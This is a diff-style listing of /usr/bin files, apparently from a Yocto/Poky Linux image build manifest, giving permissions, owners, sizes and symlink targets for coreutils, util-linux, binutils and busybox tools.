+-rwxr-xr-x root root 71864 ./usr/bin/dircolors.coreutils
+lrwxrwxrwx root root 28 ./usr/bin/dircolors -> /usr/bin/dircolors.coreutils
+-rwxr-xr-x root root 162448 ./usr/bin/dir.coreutils
+-rwxr-xr-x root root 43176 ./usr/bin/dirname.coreutils
+lrwxrwxrwx root root 26 ./usr/bin/dirname -> /usr/bin/dirname.coreutils
+lrwxrwxrwx root root 22 ./usr/bin/dir -> /usr/bin/dir.coreutils
+-rwxr-xr-x root root 194760 ./usr/bin/du.coreutils
+lrwxrwxrwx root root 19 ./usr/bin/dumpleases -> /bin/busybox.nosuid
+lrwxrwxrwx root root 21 ./usr/bin/du -> /usr/bin/du.coreutils
+lrwxrwxrwx root root 30 ./usr/bin/dwp -> /usr/bin/x86_64-poky-linux-dwp
+lrwxrwxrwx root root 25 ./usr/bin/eject -> /usr/bin/eject.util-linux
+-rwxr-xr-x root root 79920 ./usr/bin/eject.util-linux
+lrwxrwxrwx root root 34 ./usr/bin/elfedit -> /usr/bin/x86_64-poky-linux-elfedit
+-rwxr-xr-x root root 55904 ./usr/bin/env.coreutils
+lrwxrwxrwx root root 22 ./usr/bin/env -> /usr/bin/env.coreutils
+-rwxr-xr-x root root 39016 ./usr/bin/eu-ar
+-rwxr-xr-x root root 28656 ./usr/bin/eu-elfclassify
+-rwxr-xr-x root root 350840 ./usr/bin/eu-elfcmp
+-rwxr-xr-x root root 31160 ./usr/bin/eu-elfcompress
+-rwxr-xr-x root root 432760 ./usr/bin/eu-elflint
+-rwxr-xr-x root root 22672 ./usr/bin/eu-findtextrel
+-rwxr-xr-x root root 2911 ./usr/bin/eu-make-debug-archive
+-rwxr-xr-x root root 355056 ./usr/bin/eu-objdump
+-rwxr-xr-x root root 22568 ./usr/bin/eu-ranlib
+-rwxr-xr-x root root 27600 ./usr/bin/eu-stack
+-rwxr-xr-x root root 26736 ./usr/bin/eu-strings
+-rwxr-xr-x root root 51240 ./usr/bin/eu-unstrip
+-rwxr-xr-x root root 47304 ./usr/bin/expand.coreutils
+lrwxrwxrwx root root 25 ./usr/bin/expand -> /usr/bin/expand.coreutils
+-rwsr-xr-x root root 36336 ./usr/bin/expiry
+-rwxr-xr-x root root 125096 ./usr/bin/expr.coreutils
+lrwxrwxrwx root root 23 ./usr/bin/expr -> /usr/bin/expr.coreutils
+-rwxr-xr-x root root 84168 ./usr/bin/factor.coreutils
+lrwxrwxrwx root root 25 ./usr/bin/factor -> /usr/bin/factor.coreutils
+-rwxr-xr-x root root 22784 ./usr/bin/faillog
+lrwxrwxrwx root root 29 ./usr/bin/fallocate -> /usr/bin/fallocate.util-linux
+-rwxr-xr-x root root 30776 ./usr/bin/fallocate.util-linux
+-rwxr-xr-x root root 92656 ./usr/bin/filan
+-rwxr-xr-x root root 34904 ./usr/bin/fincore
+-rwxr-xr-x root root 324064 ./usr/bin/find.findutils
+-rwxr-xr-x root root 68840 ./usr/bin/findmnt
+lrwxrwxrwx root root 23 ./usr/bin/find -> /usr/bin/find.findutils
+-rwxr-xr-x root root 443016 ./usr/bin/flex
+lrwxrwxrwx root root 4 ./usr/bin/flex++ -> flex
+lrwxrwxrwx root root 25 ./usr/bin/flock -> /usr/bin/flock.util-linux
+-rwxr-xr-x root root 34944 ./usr/bin/flock.util-linux
+-rwxr-xr-x root root 55464 ./usr/bin/fmt.coreutils
+lrwxrwxrwx root root 22 ./usr/bin/fmt -> /usr/bin/fmt.coreutils
+-rwxr-xr-x root root 47272 ./usr/bin/fold.coreutils
+lrwxrwxrwx root root 23 ./usr/bin/fold -> /usr/bin/fold.coreutils
+-rwxr-xr-x root root 26672 ./usr/bin/free.procps
+lrwxrwxrwx root root 20 ./usr/bin/free -> /usr/bin/free.procps
+-rwxr-xr-x root root 1185 ./usr/bin/fsck.btrfs
+-rwxr-xr-x root root 26576 ./usr/bin/funzip
+lrwxrwxrwx root root 19 ./usr/bin/fuser -> /bin/busybox.nosuid
+-rwxr-xr-x root root 653592 ./usr/bin/gawk
+-rwxr-xr-x root root 653592 ./usr/bin/gawk-5.1.0
+-rwxr-xr-x root root 26808 ./usr/bin/gencat
+-rwxr-xr-x root root 34912 ./usr/bin/getconf
+-rwxr-xr-x root root 35280 ./usr/bin/getent
+-rwxr-xr-x root root 31312 ./usr/bin/getfacl
+-rwxr-xr-x root root 23032 ./usr/bin/getfattr
+lrwxrwxrwx root root 28 ./usr/bin/ginsttest-runner -> gnome-desktop-testing-runner
+-rwxr-xr-x root root 4049 ./usr/bin/g-ir-annotation-tool
+-rwxr-xr-x root root 187384 ./usr/bin/g-ir-compiler
+-rwxr-xr-x root root 42968 ./usr/bin/g-ir-generate
+-rwxr-xr-x root root 14296 ./usr/bin/g-ir-inspect
+-rwxr-xr-x root root 4040 ./usr/bin/g-ir-scanner
+-rwxr-xr-x root root 35384 ./usr/bin/gnome-desktop-testing-runner
+-rwsr-xr-x root root 71624 ./usr/bin/gpasswd
+lrwxrwxrwx root root 32 ./usr/bin/gprof -> /usr/bin/x86_64-poky-linux-gprof
+-rwxr-xr-x root root 43176 ./usr/bin/groups.coreutils
+-rwxr-xr-x root root 14296 ./usr/bin/groups.shadow
+lrwxrwxrwx root root 22 ./usr/bin/groups -> /usr/bin/groups.shadow
+-rwxr-xr-x root root 22568 ./usr/bin/hardlink
+-rwxr-xr-x root root 55496 ./usr/bin/head.coreutils
+lrwxrwxrwx root root 23 ./usr/bin/head -> /usr/bin/head.coreutils
+lrwxrwxrwx root root 27 ./usr/bin/hexdump -> /usr/bin/hexdump.util-linux
+-rwxr-xr-x root root 55352 ./usr/bin/hexdump.util-linux
+-rwxr-xr-x root root 43176 ./usr/bin/hostid.coreutils
+lrwxrwxrwx root root 25 ./usr/bin/hostid -> /usr/bin/hostid.coreutils
+lrwxrwxrwx root root 7 ./usr/bin/i386 -> setarch
+-rwxr-xr-x root root 59608 ./usr/bin/iconv
+-rwxr-xr-x root root 55496 ./usr/bin/id.coreutils
+lrwxrwxrwx root root 21 ./usr/bin/id -> /usr/bin/id.coreutils
+-rwxr-xr-x root root 141560 ./usr/bin/install.coreutils
+lrwxrwxrwx root root 26 ./usr/bin/install -> /usr/bin/install.coreutils
+lrwxrwxrwx root root 26 ./usr/bin/ionice -> /usr/bin/ionice.util-linux
+-rwxr-xr-x root root 30768 ./usr/bin/ionice.util-linux
+-rwxr-xr-x root root 30824 ./usr/bin/ipcmk
+-rwxr-xr-x root root 34856 ./usr/bin/ipcrm
+-rwxr-xr-x root root 71720 ./usr/bin/ipcs
+lrwxrwxrwx root root 30 ./usr/bin/iptables-xml -> /usr/sbin/xtables-legacy-multi
+-rwxr-xr-x root root 30760 ./usr/bin/isosize
+-rwxr-xr-x root root 59592 ./usr/bin/join.coreutils
+lrwxrwxrwx root root 23 ./usr/bin/join -> /usr/bin/join.coreutils
+lrwxrwxrwx root root 19 ./usr/bin/killall -> /bin/busybox.nosuid
+lrwxrwxrwx root root 13 ./usr/bin/lastb.sysvinit -> last.sysvinit
+lrwxrwxrwx root root 23 ./usr/bin/lastb -> /usr/bin/lastb.sysvinit
+lrwxrwxrwx root root 15 ./usr/bin/lastb.util-linux -> last.util-linux
+-rwxr-xr-x root root 32032 ./usr/bin/lastlog
+-rwxr-xr-x root root 22512 ./usr/bin/last.sysvinit
+lrwxrwxrwx root root 22 ./usr/bin/last -> /usr/bin/last.sysvinit
+-rwxr-xr-x root root 47152 ./usr/bin/last.util-linux
+-rwxr-xr-x root root 63648 ./usr/bin/lbracket.coreutils
+lrwxrwxrwx root root 33 ./usr/bin/ld.bfd -> /usr/bin/x86_64-poky-linux-ld.bfd
+lrwxrwxrwx root root 34 ./usr/bin/ld.gold -> /usr/bin/x86_64-poky-linux-ld.gold
+lrwxrwxrwx root root 29 ./usr/bin/ld -> /usr/bin/x86_64-poky-linux-ld
+lrwxrwxrwx root root 19 ./usr/bin/less -> /bin/busybox.nosuid
+-rwxr-xr-x root root 173 ./usr/bin/libpng16-config
+lrwxrwxrwx root root 15 ./usr/bin/libpng-config -> libpng16-config
+-rwxr-xr-x root root 43176 ./usr/bin/link.coreutils
+lrwxrwxrwx root root 23 ./usr/bin/link -> /usr/bin/link.coreutils
+lrwxrwxrwx root root 7 ./usr/bin/linux32 -> setarch
+lrwxrwxrwx root root 7 ./usr/bin/linux64 -> setarch
+-rwxr-xr-x root root 54648 ./usr/bin/locale
+-rwxr-xr-x root root 170408 ./usr/bin/locate
+lrwxrwxrwx root root 26 ./usr/bin/logger -> /usr/bin/logger.util-linux
+-rwxr-xr-x root root 47760 ./usr/bin/logger.util-linux
+-rwxr-xr-x root root 43176 ./usr/bin/logname.coreutils
+lrwxrwxrwx root root 26 ./usr/bin/logname -> /usr/bin/logname.coreutils
+-rwxr-xr-x root root 14368 ./usr/bin/look
+-rwxr-xr-x root root 14296 ./usr/bin/lsattr
+-rwxr-xr-x root root 145448 ./usr/bin/lsblk
+-rwxr-xr-x root root 100392 ./usr/bin/lscpu
+-rwxr-xr-x root root 92200 ./usr/bin/lsipc
+-rwxr-xr-x root root 39288 ./usr/bin/lslocks
+-rwxr-xr-x root root 67624 ./usr/bin/lslogins
+-rwxr-xr-x root root 67624 ./usr/bin/lsmem
+-rwxr-xr-x root root 51240 ./usr/bin/lsns
+lrwxrwxrwx root root 17 ./usr/bin/lzcat -> /usr/bin/lzcat.xz
+lrwxrwxrwx root root 5 ./usr/bin/lzcat.xz -> xz.xz
+lrwxrwxrwx root root 6 ./usr/bin/lzcmp -> xzdiff
+lrwxrwxrwx root root 6 ./usr/bin/lzdiff -> xzdiff
+lrwxrwxrwx root root 6 ./usr/bin/lzegrep -> xzgrep
+lrwxrwxrwx root root 6 ./usr/bin/lzfgrep -> xzgrep
+lrwxrwxrwx root root 6 ./usr/bin/lzgrep -> xzgrep
+lrwxrwxrwx root root 6 ./usr/bin/lzless -> xzless
+-rwxr-xr-x root root 14376 ./usr/bin/lzmadec
+-rwxr-xr-x root root 14376 ./usr/bin/lzmainfo
+lrwxrwxrwx root root 16 ./usr/bin/lzma -> /usr/bin/lzma.xz
+lrwxrwxrwx root root 5 ./usr/bin/lzma.xz -> xz.xz
+lrwxrwxrwx root root 6 ./usr/bin/lzmore -> xzmore
+-rwxr-xr-x root root 243992 ./usr/bin/m4
+-rwxr-xr-x root root 243208 ./usr/bin/make
+-rwxr-xr-x root root 22712 ./usr/bin/makedb
+-rwxr-xr-x root root 34920 ./usr/bin/mcookie
+-rwxr-xr-x root root 55496 ./usr/bin/md5sum.coreutils
+lrwxrwxrwx root root 25 ./usr/bin/md5sum -> /usr/bin/md5sum.coreutils
+-rwxr-xr-x root root 14304 ./usr/bin/mesg.sysvinit
+lrwxrwxrwx root root 22 ./usr/bin/mesg -> /usr/bin/mesg.sysvinit
+-rwxr-xr-x root root 14376 ./usr/bin/mesg.util-linux
+lrwxrwxrwx root root 19 ./usr/bin/microcom -> /bin/busybox.nosuid
+-rwxr-xr-x root root 1102 ./usr/bin/mk_cmds
+-rwxr-xr-x root root 47272 ./usr/bin/mkfifo.coreutils
+lrwxrwxrwx root root 25 ./usr/bin/mkfifo -> /usr/bin/mkfifo.coreutils
+-rwxr-xr-x root root 523456 ./usr/bin/mkfs.btrfs
+-rwxr-xr-x root root 55464 ./usr/bin/mktemp.coreutils
+-rwxr-xr-x root root 34856 ./usr/bin/namei
+lrwxrwxrwx root root 19 ./usr/bin/nc -> /bin/busybox.nosuid
+-rwxr-xr-x root root 173 ./usr/bin/ncurses5-config
+-rwxr-xr-x root root 173 ./usr/bin/ncurses6-config
+-rwxr-xr-x root root 175 ./usr/bin/ncursesw5-config
+-rwxr-xr-x root root 175 ./usr/bin/ncursesw6-config
+-rwsr-xr-x root root 41136 ./usr/bin/newgidmap
+-rwsr-xr-x root root 40312 ./usr/bin/newgrp.shadow
+lrwxrwxrwx root root 22 ./usr/bin/newgrp -> /usr/bin/newgrp.shadow
+-rwsr-xr-x root root 37040 ./usr/bin/newuidmap
+-rwxr-xr-x root root 47272 ./usr/bin/nice.coreutils
+-rwxr-xr-x root root 117000 ./usr/bin/nl.coreutils
+lrwxrwxrwx root root 21 ./usr/bin/nl -> /usr/bin/nl.coreutils
+lrwxrwxrwx root root 29 ./usr/bin/nm -> /usr/bin/x86_64-poky-linux-nm
+-rwxr-xr-x root root 47272 ./usr/bin/nohup.coreutils
+lrwxrwxrwx root root 24 ./usr/bin/nohup -> /usr/bin/nohup.coreutils
+-rwxr-xr-x root root 47272 ./usr/bin/nproc.coreutils
+lrwxrwxrwx root root 24 ./usr/bin/nproc -> /usr/bin/nproc.coreutils
+lrwxrwxrwx root root 27 ./usr/bin/nsenter -> /usr/bin/nsenter.util-linux
+-rwxr-xr-x root root 35072 ./usr/bin/nsenter.util-linux
+lrwxrwxrwx root root 19 ./usr/bin/nslookup -> /bin/busybox.nosuid
+-rwxr-xr-x root root 71904 ./usr/bin/numfmt
+lrwxrwxrwx root root 34 ./usr/bin/objcopy -> /usr/bin/x86_64-poky-linux-objcopy
+lrwxrwxrwx root root 34 ./usr/bin/objdump -> /usr/bin/x86_64-poky-linux-objdump
+-rwxr-xr-x root root 80072 ./usr/bin/od.coreutils
+lrwxrwxrwx root root 21 ./usr/bin/od -> /usr/bin/od.coreutils
+-rwxr-xr-x root root 736944 ./usr/bin/openssl
+lrwxrwxrwx root root 19 ./usr/bin/openvt -> /bin/busybox.nosuid
+-rwsr-xr-x root root 67760 ./usr/bin/passwd.shadow
+lrwxrwxrwx root root 22 ./usr/bin/passwd -> /usr/bin/passwd.shadow
+-rwxr-xr-x root root 47304 ./usr/bin/paste.coreutils
+lrwxrwxrwx root root 24 ./usr/bin/paste -> /usr/bin/paste.coreutils
+lrwxrwxrwx root root 19 ./usr/bin/patch -> /bin/busybox.nosuid
+-rwxr-xr-x root root 43176 ./usr/bin/pathchk.coreutils
+lrwxrwxrwx root root 26 ./usr/bin/pathchk -> /usr/bin/pathchk.coreutils
+-rwxr-xr-x root root 14520 ./usr/bin/pcprofiledump
+-rwxr-xr-x root root 165 ./usr/bin/pcre-config
+-rwxr-xr-x root root 14288 ./usr/bin/perl
+-rwxr-xr-x root root 30776 ./usr/bin/pgrep.procps
+lrwxrwxrwx root root 21 ./usr/bin/pgrep -> /usr/bin/pgrep.procps
+-rwxr-xr-x root root 47304 ./usr/bin/pinky.coreutils
+lrwxrwxrwx root root 24 ./usr/bin/pinky -> /usr/bin/pinky.coreutils
+-rwxr-xr-x root root 30776 ./usr/bin/pkill.procps
+lrwxrwxrwx root root 21 ./usr/bin/pkill -> /usr/bin/pkill.procps
+-rwxr-xr-x root root 22712 ./usr/bin/pldd
+-rwxr-xr-x root root 34872 ./usr/bin/pmap.procps
+lrwxrwxrwx root root 20 ./usr/bin/pmap -> /usr/bin/pmap.procps
+-rwxr-xr-x root root 84232 ./usr/bin/pr.coreutils
+-rwxr-xr-x root root 43176 ./usr/bin/printenv.coreutils
+-rwxr-xr-x root root 63648 ./usr/bin/printf.coreutils
+lrwxrwxrwx root root 25 ./usr/bin/printf -> /usr/bin/printf.coreutils
+-rwxr-xr-x root root 39480 ./usr/bin/prlimit
+-rwxr-xr-x root root 80288 ./usr/bin/procan
+lrwxrwxrwx root root 21 ./usr/bin/pr -> /usr/bin/pr.coreutils
+-rwxr-xr-x root root 145640 ./usr/bin/ptx.coreutils
+lrwxrwxrwx root root 22 ./usr/bin/ptx -> /usr/bin/ptx.coreutils
+-rwxr-xr-x root root 14376 ./usr/bin/pwdx.procps
+lrwxrwxrwx root root 20 ./usr/bin/pwdx -> /usr/bin/pwdx.procps
+-rwxr-xr-x root root 14296 ./usr/bin/python3.8
+-rwxr-xr-x root root 2114 ./usr/bin/python3.8-config-lib
+lrwxrwxrwx root root 29 ./usr/bin/python3.8-config -> /usr/bin/python3.8-config-lib
+lrwxrwxrwx root root 16 ./usr/bin/python3-config -> python3.8-config
+lrwxrwxrwx root root 9 ./usr/bin/python3 -> python3.8
+lrwxrwxrwx root root 33 ./usr/bin/ranlib -> /usr/bin/x86_64-poky-linux-ranlib
+-rwxr-xr-x root root 14296 ./usr/bin/readbootlog
+lrwxrwxrwx root root 34 ./usr/bin/readelf -> /usr/bin/x86_64-poky-linux-readelf
+-rwxr-xr-x root root 55464 ./usr/bin/readlink.coreutils
+lrwxrwxrwx root root 27 ./usr/bin/readlink -> /usr/bin/readlink.coreutils
+-rwxr-xr-x root root 55496 ./usr/bin/realpath.coreutils
+lrwxrwxrwx root root 27 ./usr/bin/realpath -> /usr/bin/realpath.coreutils
+-rwxr-xr-x root root 22560 ./usr/bin/rename
+lrwxrwxrwx root root 26 ./usr/bin/renice -> /usr/bin/renice.util-linux
+-rwxr-xr-x root root 14384 ./usr/bin/renice.util-linux
+lrwxrwxrwx root root 19 ./usr/bin/reset -> /bin/busybox.nosuid
+lrwxrwxrwx root root 19 ./usr/bin/resize -> /bin/busybox.nosuid
+lrwxrwxrwx root root 23 ./usr/bin/rev -> /usr/bin/rev.util-linux
+-rwxr-xr-x root root 14376 ./usr/bin/rev.util-linux
+-rwxr-xr-x root root 43176 ./usr/bin/runcon.coreutils
+lrwxrwxrwx root root 25 ./usr/bin/runcon -> /usr/bin/runcon.coreutils
+-rwxr-xr-x root root 67624 ./usr/bin/script
+-rwxr-xr-x root root 55336 ./usr/bin/scriptlive
+-rwxr-xr-x root root 43056 ./usr/bin/scriptreplay
+-rwxr-xr-x root root 51264 ./usr/bin/sdiff
+-rwxr-xr-x root root 63656 ./usr/bin/seq.coreutils
+lrwxrwxrwx root root 22 ./usr/bin/seq -> /usr/bin/seq.coreutils
+-rwxr-xr-x root root 26936 ./usr/bin/setarch
+-rwxr-xr-x root root 39568 ./usr/bin/setfacl
+-rwxr-xr-x root root 18696 ./usr/bin/setfattr.attr
+lrwxrwxrwx root root 22 ./usr/bin/setfattr -> /usr/bin/setfattr.attr
+lrwxrwxrwx root root 27 ./usr/bin/setpriv -> /usr/bin/setpriv.util-linux
+-rwxr-xr-x root root 47160 ./usr/bin/setpriv.util-linux
+lrwxrwxrwx root root 26 ./usr/bin/setsid -> /usr/bin/setsid.util-linux
+-rwxr-xr-x root root 14384 ./usr/bin/setsid.util-linux
+-rwxr-xr-x root root 47144 ./usr/bin/setterm
+lrwxrwxrwx root root 13 ./usr/bin/sg -> newgrp.shadow
+-rwxr-xr-x root root 59592 ./usr/bin/sha1sum.coreutils
+lrwxrwxrwx root root 26 ./usr/bin/sha1sum -> /usr/bin/sha1sum.coreutils
+-rwxr-xr-x root root 67784 ./usr/bin/sha224sum.coreutils
+lrwxrwxrwx root root 28 ./usr/bin/sha224sum -> /usr/bin/sha224sum.coreutils
+-rwxr-xr-x root root 67784 ./usr/bin/sha256sum.coreutils
+lrwxrwxrwx root root 28 ./usr/bin/sha256sum -> /usr/bin/sha256sum.coreutils
+-rwxr-xr-x root root 71880 ./usr/bin/sha384sum.coreutils
+lrwxrwxrwx root root 28 ./usr/bin/sha384sum -> /usr/bin/sha384sum.coreutils
+-rwxr-xr-x root root 71880 ./usr/bin/sha512sum.coreutils
+lrwxrwxrwx root root 28 ./usr/bin/sha512sum -> /usr/bin/sha512sum.coreutils
+-rwxr-xr-x root root 67784 ./usr/bin/shred.coreutils
+lrwxrwxrwx root root 24 ./usr/bin/shred -> /usr/bin/shred.coreutils
+-rwxr-xr-x root root 63656 ./usr/bin/shuf.coreutils
+lrwxrwxrwx root root 23 ./usr/bin/shuf -> /usr/bin/shuf.coreutils
+lrwxrwxrwx root root 31 ./usr/bin/size -> /usr/bin/x86_64-poky-linux-size
+-rwxr-xr-x root root 30768 ./usr/bin/skill.procps
+lrwxrwxrwx root root 21 ./usr/bin/skill -> /usr/bin/skill.procps
+-rwxr-xr-x root root 22568 ./usr/bin/slabtop
+-rwxr-xr-x root root 30768 ./usr/bin/snice.procps
+lrwxrwxrwx root root 21 ./usr/bin/snice -> /usr/bin/snice.procps
+-rwxr-xr-x root root 380104 ./usr/bin/socat
+-rwxr-xr-x root root 117200 ./usr/bin/sort.coreutils
+lrwxrwxrwx root root 23 ./usr/bin/sort -> /usr/bin/sort.coreutils
+-rwxr-xr-x root root 64128 ./usr/bin/split.coreutils
+lrwxrwxrwx root root 24 ./usr/bin/split -> /usr/bin/split.coreutils
+-rwxr-xr-x root root 30896 ./usr/bin/sprof
+-rwxr-xr-x root root 63648 ./usr/bin/stdbuf
+lrwxrwxrwx root root 34 ./usr/bin/strings -> /usr/bin/x86_64-poky-linux-strings
+lrwxrwxrwx root root 32 ./usr/bin/strip -> /usr/bin/x86_64-poky-linux-strip
+-rwxr-xr-x root root 51376 ./usr/bin/sum.coreutils
+lrwxrwxrwx root root 22 ./usr/bin/sum -> /usr/bin/sum.coreutils
+-rwxr-xr-x root root 112808 ./usr/bin/tac.coreutils
+lrwxrwxrwx root root 22 ./usr/bin/tac -> /usr/bin/tac.coreutils
+-rwxr-xr-x root root 80104 ./usr/bin/tail.coreutils
+lrwxrwxrwx root root 23 ./usr/bin/tail -> /usr/bin/tail.coreutils
+lrwxrwxrwx root root 27 ./usr/bin/taskset -> /usr/bin/taskset.util-linux
+-rwxr-xr-x root root 34864 ./usr/bin/taskset.util-linux
+-rwxr-xr-x root root 47304 ./usr/bin/tee.coreutils
+lrwxrwxrwx root root 22 ./usr/bin/tee -> /usr/bin/tee.coreutils
+lrwxrwxrwx root root 19 ./usr/bin/telnet -> /bin/busybox.nosuid
+-rwxr-xr-x root root 59544 ./usr/bin/test.coreutils
+lrwxrwxrwx root root 23 ./usr/bin/test -> /usr/bin/test.coreutils
+lrwxrwxrwx root root 19 ./usr/bin/tftp -> /bin/busybox.nosuid
+lrwxrwxrwx root root 19 ./usr/bin/time -> /bin/busybox.nosuid
+-rwxr-xr-x root root 51840 ./usr/bin/timeout.coreutils
+lrwxrwxrwx root root 26 ./usr/bin/timeout -> /usr/bin/timeout.coreutils
+-rwxr-xr-x root root 22576 ./usr/bin/tload
+-rwxr-xr-x root root 124784 ./usr/bin/top.procps
+lrwxrwxrwx root root 19 ./usr/bin/top -> /usr/bin/top.procps
+-rwxr-xr-x root root 22512 ./usr/bin/tput
+lrwxrwxrwx root root 17 ./usr/bin/traceroute -> /bin/busybox.suid
+-rwxr-xr-x root root 55464 ./usr/bin/tr.coreutils
+-rwxr-xr-x root root 47272 ./usr/bin/truncate.coreutils
+lrwxrwxrwx root root 27 ./usr/bin/truncate -> /usr/bin/truncate.coreutils
+lrwxrwxrwx root root 21 ./usr/bin/tr -> /usr/bin/tr.coreutils
+lrwxrwxrwx root root 19 ./usr/bin/ts -> /bin/busybox.nosuid
+-rwxr-xr-x root root 30680 ./usr/bin/tset
+-rwxr-xr-x root root 59560 ./usr/bin/tsort.coreutils
+lrwxrwxrwx root root 24 ./usr/bin/tsort -> /usr/bin/tsort.coreutils
+-rwxr-xr-x root root 43176 ./usr/bin/tty.coreutils
+lrwxrwxrwx root root 22 ./usr/bin/tty -> /usr/bin/tty.coreutils
+-rwxr-xr-x root root 354584 ./usr/bin/udevadm
+-rwxr-xr-x root root 22560 ./usr/bin/ul
+lrwxrwxrwx root root 7 ./usr/bin/uname26 -> setarch
+-rwxr-xr-x root root 47304 ./usr/bin/unexpand.coreutils
+lrwxrwxrwx root root 27 ./usr/bin/unexpand -> /usr/bin/unexpand.coreutils
+-rwxr-xr-x root root 55496 ./usr/bin/uniq.coreutils
+lrwxrwxrwx root root 23 ./usr/bin/uniq -> /usr/bin/uniq.coreutils
+-rwxr-xr-x root root 43176 ./usr/bin/unlink.coreutils
+lrwxrwxrwx root root 25 ./usr/bin/unlink -> /usr/bin/unlink.coreutils
+lrwxrwxrwx root root 18 ./usr/bin/unlzma -> /usr/bin/unlzma.xz
+lrwxrwxrwx root root 5 ./usr/bin/unlzma.xz -> xz.xz
+lrwxrwxrwx root root 27 ./usr/bin/unshare -> /usr/bin/unshare.util-linux
+-rwxr-xr-x root root 39176 ./usr/bin/unshare.util-linux
+lrwxrwxrwx root root 16 ./usr/bin/unxz -> /usr/bin/unxz.xz
+lrwxrwxrwx root root 5 ./usr/bin/unxz.xz -> xz.xz
+-rwxr-xr-x root root 88152 ./usr/bin/unzipsfx
+-rwxr-xr-x root root 186472 ./usr/bin/unzip.unzip
+lrwxrwxrwx root root 20 ./usr/bin/unzip -> /usr/bin/unzip.unzip
+-rwxr-xr-x root root 4678 ./usr/bin/update-alternatives
+-rwxr-xr-x root root 9076 ./usr/bin/updatedb
+-rwxr-xr-x root root 59584 ./usr/bin/update-mime-database
+-rwxr-xr-x root root 59560 ./usr/bin/uptime.coreutils
+-rwxr-xr-x root root 14376 ./usr/bin/uptime.procps
+lrwxrwxrwx root root 22 ./usr/bin/uptime -> /usr/bin/uptime.procps
+-rwxr-xr-x root root 43176 ./usr/bin/users.coreutils
+lrwxrwxrwx root root 24 ./usr/bin/users -> /usr/bin/users.coreutils
+lrwxrwxrwx root root 27 ./usr/bin/[ -> /usr/bin/lbracket.coreutils
+-rwxr-xr-x root root 18400 ./usr/bin/utmpdump.sysvinit
+lrwxrwxrwx root root 26 ./usr/bin/utmpdump -> /usr/bin/utmpdump.sysvinit
+-rwxr-xr-x root root 30768 ./usr/bin/utmpdump.util-linux
+-rwxr-xr-x root root 14368 ./usr/bin/uuidgen
+-rwxr-xr-x root root 38952 ./usr/bin/uuidparse
+-rwxr-xr-x root root 162448 ./usr/bin/vdir.coreutils
+lrwxrwxrwx root root 23 ./usr/bin/vdir -> /usr/bin/vdir.coreutils
+lrwxrwxrwx root root 17 ./usr/bin/vlock -> /bin/busybox.suid
+-rwxr-xr-x root root 38968 ./usr/bin/vmstat
+-rwxr-xr-x root root 18392 ./usr/bin/wall.sysvinit
+lrwxrwxrwx root root 22 ./usr/bin/wall -> /usr/bin/wall.sysvinit
+-rwxr-xr-x root root 34864 ./usr/bin/wall.util-linux
+-rwxr-xr-x root root 51248 ./usr/bin/wayland-scanner
+-rwxr-xr-x root root 55472 ./usr/bin/wc.coreutils
+lrwxrwxrwx root root 21 ./usr/bin/wc -> /usr/bin/wc.coreutils
+-rwxr-xr-x root root 63552 ./usr/bin/wdctl
+lrwxrwxrwx root root 19 ./usr/bin/wget -> /bin/busybox.nosuid
+-rwxr-xr-x root root 31176 ./usr/bin/whereis
+lrwxrwxrwx root root 20 ./usr/bin/which -> /usr/bin/which.which
+-rwxr-xr-x root root 31280 ./usr/bin/which.which
+-rwxr-xr-x root root 43176 ./usr/bin/whoami.coreutils
+lrwxrwxrwx root root 25 ./usr/bin/whoami -> /usr/bin/whoami.coreutils
+-rwxr-xr-x root root 63688 ./usr/bin/who.coreutils
+lrwxrwxrwx root root 22 ./usr/bin/who -> /usr/bin/who.coreutils
+-rwxr-xr-x root root 22568 ./usr/bin/w.procps
+-rwxr-xr-x root root 22560 ./usr/bin/write
+lrwxrwxrwx root root 17 ./usr/bin/w -> /usr/bin/w.procps
+-rwxr-xr-x root root 31304 ./usr/bin/x86_64-poky-linux-addr2line
+-rwxr-xr-x root root 63784 ./usr/bin/x86_64-poky-linux-ar
+-rwxr-xr-x root root 737584 ./usr/bin/x86_64-poky-linux-as
+-rwxr-xr-x root root 30776 ./usr/bin/x86_64-poky-linux-c++filt
+-rwxr-xr-x root root 2058648 ./usr/bin/x86_64-poky-linux-dwp
+-rwxr-xr-x root root 39320 ./usr/bin/x86_64-poky-linux-elfedit
+-rwxr-xr-x root root 102056 ./usr/bin/x86_64-poky-linux-gprof
+-rwxr-xr-x root root 1711488 ./usr/bin/x86_64-poky-linux-ld
+-rwxr-xr-x root root 1711488 ./usr/bin/x86_64-poky-linux-ld.bfd
+-rwxr-xr-x root root 2316464 ./usr/bin/x86_64-poky-linux-ld.gold
+-rwxr-xr-x root root 48344 ./usr/bin/x86_64-poky-linux-nm
+-rwxr-xr-x root root 190736 ./usr/bin/x86_64-poky-linux-objcopy
+-rwxr-xr-x root root 512664 ./usr/bin/x86_64-poky-linux-objdump
+-rwxr-xr-x root root 63824 ./usr/bin/x86_64-poky-linux-ranlib
+-rwxr-xr-x root root 670432 ./usr/bin/x86_64-poky-linux-readelf
+-rwxr-xr-x root root 35136 ./usr/bin/x86_64-poky-linux-size
+-rwxr-xr-x root root 31176 ./usr/bin/x86_64-poky-linux-strings
+-rwxr-xr-x root root 190736 ./usr/bin/x86_64-poky-linux-strip
+lrwxrwxrwx root root 7 ./usr/bin/x86_64 -> setarch
+-rwxr-xr-x root root 75976 ./usr/bin/xargs.findutils
+lrwxrwxrwx root root 24 ./usr/bin/xargs -> /usr/bin/xargs.findutils
+-rwxr-xr-x root root 16982 ./usr/bin/xkeystone
+-rwxr-xr-x root root 165 ./usr/bin/xml2-config
+-rwxr-xr-x root root 63544 ./usr/bin/xrandr
+lrwxrwxrwx root root 17 ./usr/bin/xzcat -> /usr/bin/xzcat.xz
+lrwxrwxrwx root root 5 ./usr/bin/xzcat.xz -> xz.xz
+lrwxrwxrwx root root 6 ./usr/bin/xzcmp -> xzdiff
+-rwxr-xr-x root root 14376 ./usr/bin/xzdec
+-rwxr-xr-x root root 6633 ./usr/bin/xzdiff
+lrwxrwxrwx root root 6 ./usr/bin/xzegrep -> xzgrep
+lrwxrwxrwx root root 6 ./usr/bin/xzfgrep -> xzgrep
+-rwxr-xr-x root root 5630 ./usr/bin/xzgrep
+-rwxr-xr-x root root 1799 ./usr/bin/xzless
+-rwxr-xr-x root root 2162 ./usr/bin/xzmore
+lrwxrwxrwx root root 14 ./usr/bin/xz -> /usr/bin/xz.xz
+-rwxr-xr-x root root 80184 ./usr/bin/xz.xz
+-rwxr-xr-x root root 4184 ./usr/bin/yacc
+-rwxr-xr-x root root 43176 ./usr/bin/yes.coreutils
